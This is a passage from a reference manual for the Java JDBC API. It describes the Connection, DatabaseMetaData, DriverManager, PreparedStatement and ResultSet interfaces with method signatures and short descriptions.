    static public final int TRANSACTION_SERIALIZABLE;

    void clearWarnings() throws SQLException;
    void close() throws SQLException;
    void commit() throws SQLException;
    Statement createStatement() throws SQLException;
    Statement createStatement(int type, int concur)
        throws SQLException;
    boolean getAutoCommit() throws SQLException;
    String getCatalog() throws SQLException;
    Map getTypeMap() throws SQLException;
    DatabaseMetaData getMetaData() throws SQLException;
    int getTransactionIsolation() throws SQLException;
    SQLWarning getWarnings() throws SQLException;
    boolean isClosed() throws SQLException;
    boolean isReadOnly() throws SQLException;
    String nativeSQL(String sql) throws SQLException;
    CallableStatement prepareCall(String sql)
        throws SQLException;
    CallableStatement prepareCall(String sql, int type,
                                  int concur)
        throws SQLException;
    PreparedStatement prepareStatement(String sql)
        throws SQLException;
    PreparedStatement prepareStatement(String sql,
                                       int type,
                                       int concur)
        throws SQLException;
    void rollback() throws SQLException;
    void setAutoCommit(boolean ac) throws SQLException;
    void setCatalog(String catalog) throws SQLException;
    void setReadOnly(boolean ro) throws SQLException;
    void setTransactionIsolation(int level)
        throws SQLException;
    void setTypeMap(Map map) throws SQLException;
}

Class Attributes

TRANSACTION_NONE
static public final int TRANSACTION_NONE

Description: Transactions are not supported.

TRANSACTION_READ_UNCOMMITTED
static public final int TRANSACTION_READ_UNCOMMITTED

Description: This transaction isolation level allows uncommitted changes by one transaction to be readable by other transactions.

TRANSACTION_READ_COMMITTED
static public final int TRANSACTION_READ_COMMITTED

Description: This transaction isolation level prevents dirty reads from occurring. In other words, changes by a TRANSACTION_READ_COMMITTED transaction are invisible to other transactions until the transaction making the change commits those changes.

TRANSACTION_REPEATABLE_READ
static public final int TRANSACTION_REPEATABLE_READ

Description: This transaction isolation level prevents dirty reads and nonrepeatable reads. A nonrepeatable read is one where one transaction reads a row, a second transaction alters the row, and the first transaction rereads the row, getting different values the second time.

Object Methods

clearWarnings( )
public void clearWarnings() throws SQLException

Description: Clears out all the warnings associated with this Connection so that getWarnings() will return null until a new warning is reported.

close( )
public void close() throws SQLException

Description: This method manually releases all resources (such as network connections and database locks) associated with a given JDBC Connection. This method is automatically called when garbage collection occurs; however, it is best to manually close a Connection once you are done with it.

commit( )
public void commit() throws SQLException

Description: This method makes permanent the changes created by all statements associated with this Connection since the last commit or rollback was issued. It should only be used when Autocommit is off. It does not commit changes made by statements associated with other Connection objects.

createStatement( )
public Statement createStatement() throws SQLException
public Statement createStatement(int type, int concur)
    throws SQLException

Description: This method creates a Statement object associated with this Connection session. The no argument version of this method creates a Statement whose ResultSet instances are type forward-only and read-only concurrency.

getAutoCommit( ) and setAutoCommit( )
public boolean getAutoCommit() throws SQLException
public void setAutoCommit(boolean ac)
    throws SQLException

Description: By default, all Connection objects are in Autocommit mode. With Autocommit mode on, each statement is committed as it is executed. An application may instead choose to manually commit a series of statements together as a single transaction. In this case, you use the setAutoCommit() method to turn Autocommit off. You then follow your statements with a call to commit() or rollback() depending on the success or failure of the transaction.

When in Autocommit mode, a statement is committed either when the statement completes or when the next statement is executed, whichever is first. For statements returning a ResultSet, the statement completes when the last row has been retrieved or the ResultSet has been closed. If a statement returns multiple result sets, the commit occurs when the last row of the last ResultSet object has been retrieved.

getCatalog( ) and setCatalog( )
public String getCatalog() throws SQLException
public void setCatalog(String catalog) throws SQLException

Description: If a driver supports catalogs, then you use setCatalog() to select a subspace of the database with the specified catalog name. If the driver does not support catalogs, it will ignore this request.

getMetaData( )
public DatabaseMetaData getMetaData() throws SQLException

Description: The DatabaseMetaData class provides methods that describe a database's tables, SQL support, stored procedures, and other information relating to the database and this Connection, which are not directly related to executing statements and retrieving result sets. This method provides an instance of the DatabaseMetaData class for this Connection.

getTransactionIsolation( ) and setTransactionIsolation( )
public int getTransactionIsolation() throws SQLException
public void setTransactionIsolation(int level)
    throws SQLException

Description: Sets the Connection object's current transaction isolation level using one of the class attributes for the Connection interface. Those levels are called TRANSACTION_NONE, TRANSACTION_READ_UNCOMMITTED, TRANSACTION_READ_COMMITTED, and TRANSACTION_REPEATABLE_READ.

getTypeMap( ) and setTypeMap( )
public Map getTypeMap() throws SQLException
public void setTypeMap(Map map) throws SQLException

Description: You can use these methods to define or retrieve a custom mapping for SQL structured types and distinct types for all statements associated with this connection.

getWarnings( )
public SQLWarning getWarnings() throws SQLException

Description: Returns the first warning in the chain of warnings associated with this Connection object.

isClosed( )
public boolean isClosed() throws SQLException

Description: Returns true if the Connection has been closed.

isReadOnly( ) and setReadOnly( )
public boolean isReadOnly() throws SQLException
public void setReadOnly(boolean ro) throws SQLException

Description: Some databases can optimize for read-only database access. The setReadOnly() method provides you with a way to put a Connection into read-only mode so that those optimizations occur. You cannot call setReadOnly() while in the middle of a transaction.

nativeSQL( )
public String nativeSQL(String sql) throws SQLException

Description: Many databases may not actually support the same SQL required by JDBC. This method allows an application to see the native SQL for a given JDBC SQL string.

prepareCall( )
public CallableStatement prepareCall(String sql)
    throws SQLException
public CallableStatement prepareCall(String sql,
                                     int type,
                                     int concur)
    throws SQLException

Description: Given a particular SQL string, this method creates a CallableStatement object associated with this Connection session. This is the preferred way of handling stored procedures. The default (no argument) version of this method provides a CallableStatement whose ResultSet instances are type forward-only and read-only concurrency.

prepareStatement( )
public PreparedStatement prepareStatement(String sql)
    throws SQLException
public PreparedStatement prepareStatement(String sql,
                                          int type,
                                          int concur)
    throws SQLException

Description: Provides a PreparedStatement object to be associated with this Connection session. This is the preferred way of handling precompiled SQL statements. The default (no argument) version of this method provides a PreparedStatement whose ResultSet instances are type forward-only and read-only concurrency.

rollback( )
public void rollback() throws SQLException

Description: Aborts all changes made by statements associated with this Connection since the last time a commit or rollback was issued. If you want to make those changes at a later time, your application will have to reexecute the statements that made those changes. This should be used only when auto-commit is off.

DatabaseMetaData

Synopsis

Class Name: java.sql.DatabaseMetaData

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: New as of JDK 1.1

Description

This class provides a lot of information about the database to which a Connection object is connected. In many cases, it returns this information in the form of JDBC ResultSet objects. For databases that do not support a particular kind of metadata, DatabaseMetaData will throw an SQLException.

DatabaseMetaData methods take string patterns as arguments where specific tokens within the String are interpreted to have a certain meaning. % matches any substring of or more characters and _ matches any one character. You can pass null to methods in place of string pattern arguments; this means that the argument's criteria should be dropped from the search.

Class Summary

public interface DatabaseMetaData {
    static public final int bestRowTemporary;
    static public final int bestRowTransaction;
    static public final int bestRowSession;
    static public final int bestRowUnknown;
    static public final int bestRowNotPseudo;
    static public final int bestRowPseudo;
    static public final int columnNoNulls;
    static public final int columnNullable;
    static public final int columnNullableUnknown;
    static public final int importedKeyCascade;
    static public final int importedKeyRestrict;
    static public final int importedKeySetNull;
    static public final int importedKeyNoAction;
    static public final int importedKeySetDefault;
    static public final int importedKeyInitiallyDeferred;
    static public final int importedKeyInitiallyImmediate;
    static public final int importedKeyNotDeferrable;
    static public final int procedureResultUnknown;
    static public final int procedureNoResult;
    static public final int procedureReturnsResult;
    static public final int procedureColumnUnknown;
    static public final int procedureColumnIn;
    static public final int procedureColumnOut;
    static public final int procedureColumnReturn;
    static public final int procedureColumnResult;
    static public final int procedureNoNulls;
    static public final int procedureNullable;
    static public final int procedureNullableUnknown;
    static public final short tableIndexStatistic;
    static public final short tableIndexClustered;
    static public final short tableIndexHashed;
    static public final short tableIndexOther;
    static public final int typeNoNulls;
    static public final int typeNullable;
    static public final int typeNullableUnknown;
    static public final int typePredNone;
    static public final int typePredChar;
    static public final int typePredBasic;
    static public final int typeSearchable;
    static public final int versionColumnUnknown;
    static public final int versionColumnNotPseudo;
    static public final int versionColumnPseudo;

    boolean allProceduresAreCallable()
        throws SQLException;
    boolean allTablesAreSelectable() throws SQLException;
    boolean dataDefinitionCausesTransactionCommit()
        throws SQLException;
    boolean dataDefinitionIgnoredInTransactions()
        throws SQLException;
    ResultSet getBestRowIdentifier(String catalog,
        String schema, String table, int scope,
        boolean nullable)
        throws SQLException;
    ResultSet getCatalogs() throws SQLException;
    String getCatalogSeparator() throws SQLException;
    String getCatalogTerm() throws SQLException;
    ResultSet getColumnPriveleges(String catalog,
            String spat, String table,
            String cpat) throws SQLException;
    ResultSet getColumns(String catalog,
            String spat, String tpat,
            String cpat) throws SQLException;
    ResultSet getCrossReference(String primaryCatalog,
            String primarySchema, String primaryTable,
            String foreignCatalog, String foreignSchema,
            String foreignTable) throws SQLException;
    String getDatabaseProductName() throws SQLException;
    String getDatabaseProductVersion()
        throws SQLException;
    int getDefaultTransactionIsolation()
        throws SQLException;
    int getDriverMajorVersion();
    int getDriverMinorVersion();
    String getDriverName() throws SQLException;
    String getDriverVersion() throws SQLException;
    ResultSet getExportedKeys(String catalog,
        String schema, String table)
        throws SQLException;
    String getExtraNameCharacters() throws SQLException;
    String getIdentifierQuoteString() throws SQLException;
    ResultSet getImportedKeys(String catalog,
        String schema, String table) throws SQLException;
    ResultSet getIndexInfo(String catalog,
        String schema, String table, boolean unique,
        boolean approximate) throws SQLException;
    int getMaxBinaryLiteralLength() throws SQLException;
    int getMaxCatalogNameLength() throws SQLException;
    int getMaxCharLiteralLength() throws SQLException;
    int getMaxcnameLength() throws SQLException;
    int getMaxColumnsInGroupBy() throws SQLException;
    int getMaxColumnsInIndex() throws SQLException;
    int getMaxColumnsInOrderBy() throws SQLException;
    int getMaxColumnsInSelect() throws SQLException;
    int getMaxColumnsInTable() throws SQLException;
    int getMaxConnections() throws SQLException;
    int getMaxIndexLength() throws SQLException;
    int getMaxProcedureNameLength()
        throws SQLException;
    int getMaxRowSize() throws SQLException;
    int getMaxRowSizeIncludeBlobs()
        throws SQLException;
    int getMaxSchemaNameLength() throws SQLException;
    int getMaxStatementLength() throws SQLException;
    int getMaxStatements() throws SQLException;
    int getMaxTableNameLength() throws SQLException;
    int getMaxTablesInSelect() throws SQLException;
    int getMaxUserNameLength() throws SQLException;
    String getNumericFunctions() throws SQLException;
    ResultSet getPrimaryKeys(String catalog,
        String schema, String table) throws SQLException;
    ResultSet getProcedureColumns(String catalog,
        String schemePattern, String procedureNamePattern,
       String cnamePattern) throws SQLException;
    String getProcedureTerm() throws SQLException;
    ResultSet getProcedures(String catalog,
        String schemaPattern, String procedureNamePattern)
        throws SQLException;
    public abstract ResultSet getSchemas() throws SQLException;
    public abstract String getSchemaTerm() throws SQLException;
    String getSearchStringEscape() throws SQLException;
    String getSQLKeywords() throws SQLException;
    String getStringFunctions() throws  SQLException;
    String getSystemFunctions() throws SQLException;
    ResultSet getTablePriveleges(String catalog,
        String schemaPattern, String tableNamePattern)
        throws SQLException;
    ResultSet getTableTypes() throws SQLException;
    ResultSet getTables(String catalog,
        String schemaPattern, String tableNamePattern,
        String types[]) throws SQLException;
    String getTimeDateFunctions() throws SQLException;
    ResultSet getTypeInfo() throws SQLException;
    String getURL() throws SQLException;
    String getUserName() throws SQLException;
    ResultSet getVersionColumns(String catalog,
        String schema, String table) throws SQLException;
    boolean isCatalogAtStart() throws SQLException;
    boolean isReadOnly() throws SQLException;
    boolean nullPlusNonNullIsNull() throws SQLException;
    boolean nullsAreSortedHigh() throws SQLException;
    boolean nullsAreSortedLow() throws SQLException;
    boolean nullsAreSortedAtStart() throws SQLException;
    boolean nullsAreSortedAtEnd() throws SQLException;
    boolean storesLowerCaseIdentifiers()
        throws SQLException;
    boolean storesLowerCaseQuotedIdentifiers()
        throws SQLException;
    boolean storesMixedCaseIdentifiers()
        throws SQLException;
    boolean storesMixedCaseQuotedIdentifiers()
        throws SQLException;
    boolean storesUpperCaseIdentifiers()
        throws SQLException;
    boolean storesUpperCaseQuotedIdentifiers()
        throws SQLException;
    boolean supportsAlterTableWithAddColumn()
        throws SQLException;
    boolean supportsAlterTableWithDropColumn()
        throws SQLException;
    boolean supportsANSI92FullSQL() throws SQLException;
    boolean supportsANSI92IntermediateSQL()
        throws SQLException;
    boolean supportsCatalogsInDataManipulation()
        throws SQLException;
    boolean suppportsCatalogsInIndexDefinitions()
        throws SQLException;
    boolean supportsCatalogsInPrivelegeDefinitions()
        throws SQLException;
    boolean supportsCatalogsInProcedureCalls()
        throws SQLException;
    boolean supportsCatalogsInTableDefinitions()
        throws SQLException;
    boolean supportsColumnAliasing() throws SQLException;
    boolean supportsConvert() throws SQLException;
    boolean supportsConvert(int fromType, int toType)
        throws SQLException;
    boolean supportsCoreSQLGrammar() throws SQLException;
    boolean supportsCorrelatedSubqueries()
        throws SQLException;
    boolean
    supportsDataDefinitionAndDataManipulationTransactions()
        throws SQLException;
    boolean supportsDataManipulationTransactionsOnly()
        throws SQLException;
    boolean supportsDifferentTableCorrelationNames()
        throws SQLException;
    boolean supportsExpressionsInOrderBy()
        throws SQLException;
    boolean supportsExtendedSQLGrammar()
        throws SQLException;
    boolean supportsFullOuterJoins() throws SQLException;
    boolean supportsGroupBy() throws SQLException;
    boolean supportsGroupByBeyondSelect()
        throws SQLException;
    boolean supportsGroupByUnrelated()
        throws SQLException;
    boolean supportsIntegrityEnhancementFacility()
        throws SQLException;
    boolean supportsLikeEscapeClause()
        throws SQLException;
    boolean supportsLimitedOuterJoins()
        throws SQLException;
    boolean supportsMinimumSQLGrammar()
        throws SQLException;
    boolean supportsMixedCaseIdentifiers()
        throws SQLException;
    boolean supportsMixedCaseQuotedIdenfitiers()
        throws SQLException;
    boolean supportsMultipleResultSets()
        throws SQLException;
    boolean supportsMultipleTransactions()
        throws SQLException;
    boolean supportsNonNullableColumns()
        throws SQLException;
    boolean supportsOpenCursorsAcrossCommit()
        throws SQLException;
    boolean supportsOpenCursorsAcrossRollback()
        throws SQLException;
    boolean supportsOpenStatementsAcrossCommit()
        throws SQLException;
    boolean supportsOpenStatementsAcrossRollback()
        throws SQLException;
    boolean supportsOrderByUnrelated()
        throws SQLException;
    boolean supportsOuterJoins() throws SQLException;
    boolean supportsPositionedDelete()
        throws SQLException;
    boolean supportsPositionedUpdate()
        throws SQLException;
    boolean supportsSchemasInDataManipulation()
        throws SQLException;
    boolean supportsSchemasInIndexDefinitions()
        throws SQLException;
    boolean supportsSchemasInPrivelegeDefinitions()
        throws SQLException;
    boolean supportsSchemasInProcedureCalls()
        throws SQLException;
    boolean supportsSchemasInTableDefinitions()
        throws SQLException;
    boolean supportsSelectForUpdate()
        throws SQLException;
    boolean supportsStoredProcedures()
        throws SQLException;
    boolean supportsSubqueriesInComparisons()
        throws SQLException;
    boolean supportsSubqueriesInExists()
        throws SQLException;
    boolean supportsSubqueriesInIns()
        throws SQLException;
    boolean supportsSubqueriesInQuantifieds()
        throws SQLException;
    boolean supportsTableCorrelationNames()
        throws SQLException;
    boolean supportsTransactionIsolationLevel(int level)
        throws SQLException;
    boolean supportsTransactions() throws SQLException;
    boolean supportsUnion() throws SQLException;
    boolean supportsUnionAll() throws SQLException;
    boolean usesLocalFilePerTable()
        throws SQLException;
    boolean usesLocalFiles() throws SQLException;
}
Date

Synopsis

Class Name: java.sql.Date

Superclass: java.util.Date

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class deals with a subset of functionality found in the java.util.Date class. It specifically worries only about days and ignores hours, minutes, and seconds.

Class Summary

public class Date extends java.util.Date {
    static public Date valueOf(String s);
    #public Date(int year, int month, int day);
    public Date(long date);
    public void setTime(long date);
    public String toString();
}

Class Methods

valueOf( )
static public Date valueOf(String s)

Description: Given a String in the form of yyyy-mm-dd, this will return a corresponding instance of the Date class representing that date.

Object Constructors

Date( )
public Date(long date)
#public Date(int year, int month, int day)

Description: Constructs a new Date instance. The proper way to construct a Date is to use the new JDK 1.2 Date(long) constructor. The date argument specifies the number of milliseconds since 1 January 1970 00:00:00 GMT. A negative number represents the milliseconds before that date. The second, deprecated constructor naturally should never be used since it is ambiguous with respect to calendar and time zone.

Object Methods

setTime( )
public void setTime(long date)

Description: Sets the time represented by this Date object to the specified number of milliseconds since 1 January 1970 00:00:00 GMT. A negative number represents the milliseconds before that date.

toString( )
public String toString()

Description: Provides a String representing this Date in the form yyyy-mm-dd.

Driver

Synopsis

Class Name: java.sql.Driver

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class represents a specific JDBC implementation. When a Driver is loaded, it should create an instance of itself and register that instance with the DriverManager class. This allows applications to create instances of it using the Class.forName() call to load a driver.

The Driver object then provides the ability for an application to connect to one or more databases. When a request for a specific database comes through, the DriverManager will pass the data source request to each Driver registered as a URL. The first Driver to connect to the data source using that URL will be used.

Class Summary

public interface Driver {
    boolean acceptsURL(String url) throws SQLException;
    Connection connect(String url, Properties info)
        throws SQLException;
    int getMajorVersion();
    int getMinorVersion();
    DriverPropertyInfo[] getPropertyInfo(String url,
                                         Properties info)
        throws SQLException;
    boolean jdbcCompliant();
}

Object Methods

acceptsURL( )
public boolean acceptsURL(String url) throws SQLException

Description: Returns true if the specified URL matches the URL subprotocol used by this driver.

connect( )
public Connection connect(String url, Properties info)
    throws SQLException

Description: This method attempts a connect using the specified URL and Property information (usually containing the user name and password). If the URL is not right for this driver, connect() simply returns null. If it is the right URL, but an error occurs during the connection process, an SQLException should be thrown.

getMajorVersion( )
public int getMajorVersion()

Description: Returns the major version number for the driver.

getMinorVersion( )
public int getMinorVersion()

Description: Returns the minor version number for the driver.

getPropertyInfo( )
public DriverPropertyInfo[] getPropertyInfo(String url,
                                       Properties info)
    throws SQLException;

Description: This method allows GUI-based RAD environments to find out which properties the driver needs on connect so that it can prompt a user to enter values for those properties.

jdbcCompliant( )
public boolean jdbcCompliant()

Description: A Driver can return true here only if it passes the JDBC compliance tests. This means that the driver implementation supports the full JDBC API and full SQL 92 Entry Level.

DriverManager

Synopsis

Class Name: java.sql.DriverManager

Superclass: java.lang.Object

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

The DriverManager holds the master list of registered JDBC drivers for the system. Upon initialization, it loads all classes specified in the jdbc.drivers property. You can thus specify any runtime information about the database being used by an application on the command line.

During program execution, other drivers may register themselves with the DriverManager by calling the registerDriver() method. The DriverManager uses a JDBC URL to find an application's desired driver choice when requests are made through getConnection().

The DriverManager class is likely to disappear one day as the new JDBC 2.0 Standard Extension provides a much more application-friendly way of getting a database connection.

Class Summary

public class DriverManager {
    static void deregisterDriver(Driver driver)
        throws SQLException;
    static public synchronized Connection getConnection(String url,
        Properties info) throws SQLException;
     static public synchronized Connection getConnection(String url,
        String user, String password) throws SQLException;
     static public synchronized Connection getConnection(String url)
        throws SQLException;
     static public Driver getDriver(String url) throws SQLException;
    static public Enumeration getDrivers();
    static public int getLoginTimeout();
    #static public PrintStream getLogStream();
    static public PrintWriter getLogWriter();

    static public void println(String message);
    static public synchronized void registerDriver(Driver driver)
            throws SQLException;
    #static public void setLogStream(PrintStream out);
    static public void setLogWriter(PrintWriter out);
static public void setLoginTimeout(int seconds);
}

Class Methods

deregisterDriver( )
static public void deregisterDriver(Driver driver) throws SQLException

Description: Removes a Driver from the list of registered drivers.

getConnection( )
static public synchronized Connection getConnection(String url,
        Properties info) throws SQLException
static public synchronized Connection getConnection(String url,
        String user, String password) throws SQLException
static public synchronized Connection getConnection(String url)
        throws SQLException

Description: Establishes a connection to the data store represented by the URL given. The DriverManager then looks through its list of registered Driver instances for one that will handle the specified URL. If none is found, it throws an SQLException. Otherwise it returns the Connection instance from the connect() method in the Driver class.

getDriver( )
static public Driver getDriver(String url) throws SQLException

Description: Returns a driver than can handle the specified URL.

getDrivers( )
static public Enumeration getDrivers()

Description: Returns a list of all registered drivers.

getLoginTimeout( ) and setLoginTimeout( )
static public int getLoginTimeout()
static public int setLoginTimeout()

Description: The login timeout is the maximum time in seconds that a driver can wait in attempting to log in to a database.

getLogStream( ) and setLogStream( )
#static public PrintStream getLogStream()
#static public void setLogStream(PrintStream out)
static public PrintWriter getLogWriter()
static public void setLogWriter(PrintWriter out)

Description: Sets the stream used by the DriverManager and all drivers. The LogStream variant is the old JDK 1.1 version and should be avoided in favor of log writers

println( )
static public void println(String message)

Description: Prints a message to the current log stream.

registerDriver( )
static public synchronized void registerDriver(Driver driver)
        throws SQLException

Description: This method allows a newly loaded Driver to register itself with the DriverManager class.

DriverPropertyInfo

Synopsis

Class Name: java.sql.DriverPropertyInfo

Superclass: java.lang.Object

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class provides information required by a driver in order to connect to a database. Only development tools are likely ever to require this class. It has no methods, simply a list of public attributes.

Class Summary

public class DriverPropertyInfo {
    public String[] choices;
    public String description;
    public String name;
    public boolean required;
    public String value;
    public DriverPropertyInfo(String name, String value);
}

Object Attributes

choices
public String[] choices

Description: A list of choices from which a user may be prompted to specify a value for this property. This value can be null.

description
public String description

Description: A brief description of the property or null.

name
public String name

Description: The name of the property.

required
public boolean required

Description: Indicates whether or not this property must be set in order to make a connection.

value
public String value

Description: The current value of the property or null if no current value is set.

Object Constructors

DriverPropertyInfo( )
public DriverPropertyInfo(String name, String value)

Description: Constructs a new DriverPropertyInfo object with the name and value attributes set to the specified parameters. All other values are set to their default values.

PreparedStatement

Synopsis

Class Name: java.sql.PreparedStatement

Superclass: java.sql.Statement

Immediate Subclasses: java.sql.CallableStatement

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class represents a precompiled SQL statement.

Class Summary

public interface PreparedStatement extends Statement {
    void addBatch() throws SQLException;
void clearParameters() throws SQLException;
    boolean execute() throws SQLException;
    ResultSet executeQuery() throws SQLException;
    int executeUpdate() throws SQLException;
    ResultSetMetaData getMetaData() throws SQLException;
    void setArray(int index, Array arr)
        throws SQLException;
    void setAsciiStream(int index, InputStream is,
        int length) throws SQLException;
    void setBigDecimal(int index, BigDecimal d)
        throws SQLException;
    void setBinaryStream(int index, InputStream is,
        int length) throws SQLException;
    void setBlob(int index, Blob b) throws SQLException;
    void setBoolean(int index, boolean b)
        throws SQLException;
    void setByte(int index, byte b) throws SQLException;
    void setBytes(int index, byte[] bts)
        throws SQLException;
    void setCharacterStream(int index, Reader rdr,
        int length) throws SQLException;
    void setClob(int index, Clob c) throws SQLException;
    void setDate(int index, Date d) throws SQLException;
    void setDate(int index, Date d, Calendar cal)
        throws SQLException;
    void setDouble(int index, double x)
        throws SQLException;
    void setFloat(int index, float f) throws SQLException;
    void setInt(int index, int x) throws SQLException;
    void setLong(int index, long x) throws SQLException;
    void setNull(int index, int type) throws SQLException;
    void setNull(int index, int type, String tname)
        throws SQLException;
    void setObject(int index, Object ob)
        throws SQLException;
    void setObject(int index, Object ob, int type)
        throws SQLException;
    void setObject(int index, Object ob, int type,
        int scale) throws SQLException;
    void setRef(int index, Ref ref) throws SQLException;
    void setShort(int index, short s) throws SQLException;
    void setString(int index, String str)
        throws SQLException;
    void setTime(int index, Time t) throws SQLException;
    void setTime(int index, Time t, Calendar cal)
        throws SQLException;
    void setTimestamp(int index, Timestamp ts)
        throws SQLException;
    void setTimestamp(int index, Timestamp ts, Calendar cal)
        throws SQLException;
    #void setUnicodeStream(int index, InputStream is,
        int length) throws SQLException;
}

Object Methods

addBatch( )
public void addBatch() throws SQLException

Description: Adds a set of parameters to the batch for batch processing.

clearParameters( )
public abstract void clearParameters() throws SQLException

Description: Once set, a parameter value remains bound until either a new value is set for the parameter or until clearParameters() is called. This method clears all parameters associated with the PreparedStatement.

execute( ), executeQuery( ), and executeUpdate( )
public abstract boolean execute() throws SQLException
public abstract ResultSet executeQuery() throws SQLException
public abstract int executeUpdate() throws SQLException

Description: Executes the PreparedStatement. The first method, execute(), allows you to execute the PreparedStatement when you do not know if it is a query or an update. It returns true if the statement has result sets to process.

The executeQuery() method is used for executing queries. It returns a result set for processing.

The executeUpdate() statement is used for executing updates. It returns the number of rows affected by the update.

getMetaData( )
public ResultSetMetaData getMetaData() throws SQLException;

Description: Retrieves the number, types, and properties of a ResultSet's columns.

setArray( ), setAsciiStream( ), setBigDecimal( ), setBinaryStream( ), setBlob( ), setBoolean( ), setByte( ), setBytes( ), setCharacterStream( ), setClob( ), setDate( ), setDouble( ), setFloat( ), setInt( ), setLong( ), setNull( ), setObject( ), setRef( ), setShort( ), setString( ), setTime( ), setTimestamp( ), and setUnicodeStream( )
public void setArray(int index, Array arr)
    throws SQLException
public void setAsciiStream(int index, InputStream is,
    int length) throws SQLException
public void setBigDecimal(int index, BigDecimal d)
    throws SQLException
public void setBinaryStream(int index, InputStream is,
    int length) throws SQLException
public void setBlob(int index, Blob b)
    throws SQLException
public void setBoolean(int index, boolean b)
    throws SQLException
public void setByte(int index, byte b)
    throws SQLException
public void setBytes(int index, byte[] bts)
    throws SQLException
public void setCharacterStream(int index, Reader rdr,
    int length) throws SQLException
public void setClob(int index, Clob c)
    throws SQLException
public void setDate(int index, Date d)
    throws SQLException
public void setDate(int index, Date d, Calendar cal)
    throws SQLException
public void setDouble(int index, double d)
    throws SQLException
public void setFloat(int index, float f)
    throws SQLException
public void setInt(int index, int x)
    throws SQLException
public void setLong(int index, long x)
    throws SQLException
public void setNull(int index, int type)
    throws SQLException
public void setNull(int index, int type, String tname)
    throws SQLException
public void setObject(int index, Object ob)
    throws SQLException
public void setObject(int index, Object ob, int type)
    throws SQLException
public void setObject(int index, Object ob, int type,
    int scale) throws SQLException
public void setRef(int index, Ref ref)
    throws SQLException
public void setShort(int index, short s)
    throws SQLException
public void setString(int index, String str)
    throws SQLException
public void setTime(int index, Time t)
    throws SQLException
public void setTime(int index, Time t, Calendar cal)
    throws SQLException
public void setTimestamp(int index, Timestamp ts)
    throws SQLException
public void setTimestamp(int index, Timestamp ts,
    Calendar cal) throws SQLException
#public void setUnicodeStream(int index, InputStream is,
    int length) throws SQLException

Description: Binds a value to the specified parameter.

Ref

Synopsis

Class Name: java.sql.Ref

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: New as of JDK 1.2

Description

A Ref is a reference to a value of an SQL structured type in the database. You can dereference a Ref by passing it as a parameter to an SQL statement and executing the statement.

Class Summary

public interface Ref {
    String getBaseTypeName() throws SQLException;
}

Object Methods

getBaseTypeName( )
public String getBaseTypeName() throws SQLException

Description: Provides the SQL structured type name for the referenced item.

ResultSet

Synopsis

Class Name: java.sql.ResultSet

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class represents a database result set. It provides an application with access to database queries one row at a time. During query processing, a ResultSet maintains a pointer to the current row being manipulated. The application then moves through the results sequentially until all results have been processed or the ResultSet is closed. A ResultSet is automatically closed when the Statement that generated it is closed, reexecuted, or used to retrieve the next ResultSet in a multiple result set query.

Class Summary

public interface ResultSet {
    static public final int CONCUR_READ_ONLY;
    static public final int CONCUR_UPDATABLE;
    static public final int FETCH_FORWARD;
    static public final int FETCH_REVERSE;
    static public final int FETCH_UNKNOWN;
    static public final int TYPE_FORWARD_ONLY;
    static public final int TYPE_SCROLL_INSENSITIVE;
    static public final int TYPE_SCROLL_SENSITIVE;
    boolean absolute(int row) throws SQLException;
    void afterLast() throws SQLException;
    void beforeFirst() throws SQLException;
    void cancelRowUpdates() throws SQLException;
    void clearWarnings() throws SQLException;
    void close() throws SQLException;
    void deleteRow() throws SQLException;
    int findColumn(String cname) throws SQLException;
    boolean first() throws SQLException;
    Array getArray(int index) throws SQLException;
    Array getArray(String cname) throws SQLException;
    InputStream getAsciiStream(int index)
        throws SQLException;
    InputStream getAsciiStream(String cname)
        throws SQLException;
    InputStream getBinaryStream(int index)
        throws SQLException;
    InputStream getBinaryStream(String cname)
        throws SQLException;
    BigDecimal getBigDecimal(int index)
        throws SQLException;
    #BigDecimal getBigDecimal(int index, int scale)
        throws SQLException;
    BigDecimal getBigDecimal(String cname)
        throws SQLException;
    #BigDecimal getBigDecimal(String cname, int scale)
        throws SQLException;
    InputStream getBinaryStream(int index)
        throws SQLException;
    InputStream getBinaryStream(String cname)
        throws SQLException;
    Blob getBlob(int index) throws SQLException;
    Blob getBlob(String cname) throws SQLException;
    boolean getBoolean(int index) throws SQLException;
    boolean getBoolean(String cname) throws SQLException;
    byte getByte(int index) throws SQLException;
    byte getByte(String cname) throws SQLException;
    byte[] getBytes(int index) throws SQLException;
    byte[] getBytes(String cname) throws SQLException;
    Reader getCharacterStream(int index)
        throws SQLException;
    Reader getCharacterStream(String cname)
        throws SQLException;
    Clob getClob(int index) throws SQLException;
    Clob getClob(String cname) throws SQLException;
    int getConcurrency() throws SQLException;
    String getCursorName() throws SQLException;
    Date getDate(int index) throws SQLException;
    Date getDate(int index, Calendar cal)
        throws SQLException;
    Date getDate(String cname) throws SQLException;
    Date getDate(String cname, Calendar cal)
        throws SQLException;
    double getDouble(int index) throws SQLException;
    double getDouble(String cname) throws SQLException;
    int getFetchDirection() throws SQLException;
    int getFetchSize() throws SQLException;
    float getFloat(int index) throws SQLException;
    float getFloat(String cname) throws SQLException;
    int getInt(int index) throws SQLException;
    int getInt(String cname) throws SQLException;
    long getLong(int index) throws SQLException;
    long getLong(String cname) throws SQLException;
    ResultSetMetaData getMetaData() throws SQLException;
    Object getObject(int index) throws SQLException;
    Object getObject(int index, Map map)
        throws SQLException;
    Object getObject(String cname) throws SQLException;
    Object getObject(String cname, Map map)
        throws SQLException;
    Ref getRef(int index) throws SQLException;
    Ref getRef(String cname) throws SQLException;
    int getRow() throws SQLException;
    short getShort(int index) throws SQLException;
    short getShort(String cname) throws SQLException;
    Statement getStatement() throws SQLException;
    String getString(int index) throws SQLException;
    String getString(String cname) throws SQLException;
    Time getTime(int index) throws SQLException;
    Time getTime(int index, Calendar cal)
        throws SQLException;
    Time getTime(String cname) throws SQLException;
    Time getTime(String cname, Calendar cal)
        throws SQLException;
    Timestamp getTimestamp(int index) throws SQLException;
    Timestamp getTimestamp(int index, Calendar cal)
        throws SQLException;
    Timestamp getTimestamp(String cname) throws SQLException;
    Timestamp getTimestamp(String cname, Calendar cal)
        throws SQLException;
    int getType() throws SQLException;
